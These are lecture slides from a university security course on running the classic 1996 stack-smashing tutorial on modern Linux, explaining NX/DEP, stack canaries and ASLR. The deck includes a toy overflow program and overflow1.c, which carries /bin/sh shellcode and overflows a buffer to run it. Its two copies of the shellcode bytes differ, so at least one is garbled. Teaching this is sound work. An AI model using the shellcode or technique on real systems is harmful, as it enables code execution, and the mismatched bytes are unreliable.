CS 6V81-05
Smashing the Stack in 2011

Andrew Folloder

Department of Computer Science
University of Texas at Dallas

January 25th, 2012
Outline

1. Overview

2. Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3. Conclusion
Outline

1. Overview

2. Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3. Conclusion
Overview

Smashing The Stack For Fun And Profit (1996)

- First tutorial on stack buffer overflow
- Outdated after 15 years of exploit research defense
Overview

Smashing The Stack For Fun And Profit (1996)
- First tutorial on stack buffer overflow
- Outdated after 15 years of exploit research defense

How to run tutorial examples on modern computer?
- Talk about:
  - *intentional* hurdles on today’s computers
    - a few unintentional
  - how to get around these issues
Outline

1 Overview

2 Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3 Conclusion
Outline

1. Overview

2. Hurdles
   - Minor Changes
     - eXecute Disable Bit (Data Execution Prevention)
     - Stack Protection
     - ProPolice, NX, and overflow1.c
     - Address Space Layout Randomization

3. Conclusion
Minor Changes

Dynamic Buffers

- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
Minor Changes

Dynamic Buffers
- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
- stack locals $\rightarrow$ automatic
- heap allocations $\rightarrow$ dynamic
Dynamic Buffers

- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
- stack locals $\rightarrow$ automatic
- heap allocations $\rightarrow$ dynamic

EBP Register

- Frame pointer for referencing both local variables and parameters
Minor Changes

Dynamic Buffers
- Dynamic Buffer no longer only refers to the stack
- Much work has been done on heap-based dynamic buffers
- stack locals $\rightarrow$ *automatic*
- heap allocations $\rightarrow$ *dynamic*

EBP Register
- Frame pointer for referencing both local variables and parameters
- 64bit OSes do *not* treat EBP as a special purpose register
- EBP may be used as a general purpose register
1. Overview

2. Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3. Conclusion
**NX (DEP)**

**NX**

- Intel feature built into x86 architecture (Pentium4+)
**NX (DEP)**

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
NX (DEP)

**NX**
- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
  - causes a segmentation fault
NX (DEP)

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
  - causes a segmentation fault
- Like memory page permission bits (read/write/execute)
NX (DEP)

**NX**
- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
  - causes a segmentation fault
- Like memory page permission bits (read/write/execute)
  - 1996: R/W
**Overview**

**Hurdles**

**Conclusion**

---

**NX (DEP)**

**NX**

- Intel feature built into x86 architecture (Pentium4+)
- Prevents code from executing from within .data segment
  - causes a segmentation fault
- Like memory page permission bits (read/write/execute)
  - 1996: R/W
  - Today: R/W/X
Outline

1. Overview

2. Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3. Conclusion
Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/pseudo-random value
Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- canary: chosen/pseudo-random value
- place a canary within a stack frame between its data and control elements
Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/psudo-random value
- place a canary within a stack frame between its data and control elements
- very difficult/impossible to predict canary value
Stack Protection

ProPolice/StackGuard

- gcc mechanism for stack buffer protection
- *canary*: chosen/psudo-random value
- place a canary within a stack frame between its data and control elements
- very difficult/impossible to predict canary value

**example2.c**
```
void function(char *str) {
    char buffer[16];
    
    strcpy(buffer,str);
}

void main() {
    char large_string[256];
    int i;
    
    for( i = 0; i < 255; i++)
    large_string[i] = 'A';
    
    function(large_string);
}
```
Outline

1 Overview

2 Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3 Conclusion
overflow1.c

---

char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\x8d\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer, large_string);
}

---
overflow1.c

-------------------
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\xe8\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

Reason: gcc allocates far more stack space in recent versions than in the past
1. Overview

2. Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3. Conclusion
ASLR

Address Space Layout Randomization
- Rebases stacks, code segments, DLLs, and more
Address Space Layout Randomization

- Rebases stacks, code segments, DLLs, and more

sp.c
-------------------------------------
unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
}
void main() {
    printf("0x%x\n", get_sp());
}
-------------------------------------
Outline

1 Overview

2 Hurdles
   - Minor Changes
   - eXecute Disable Bit (Data Execution Prevention)
   - Stack Protection
   - ProPolice, NX, and overflow1.c
   - Address Space Layout Randomization

3 Conclusion
Alot of work has been done to prevent buffer overflow exploits making them much harder to perform

This gives a quick overview on how the original “exploit tutorial” can be performed on a modern computer running Ubuntu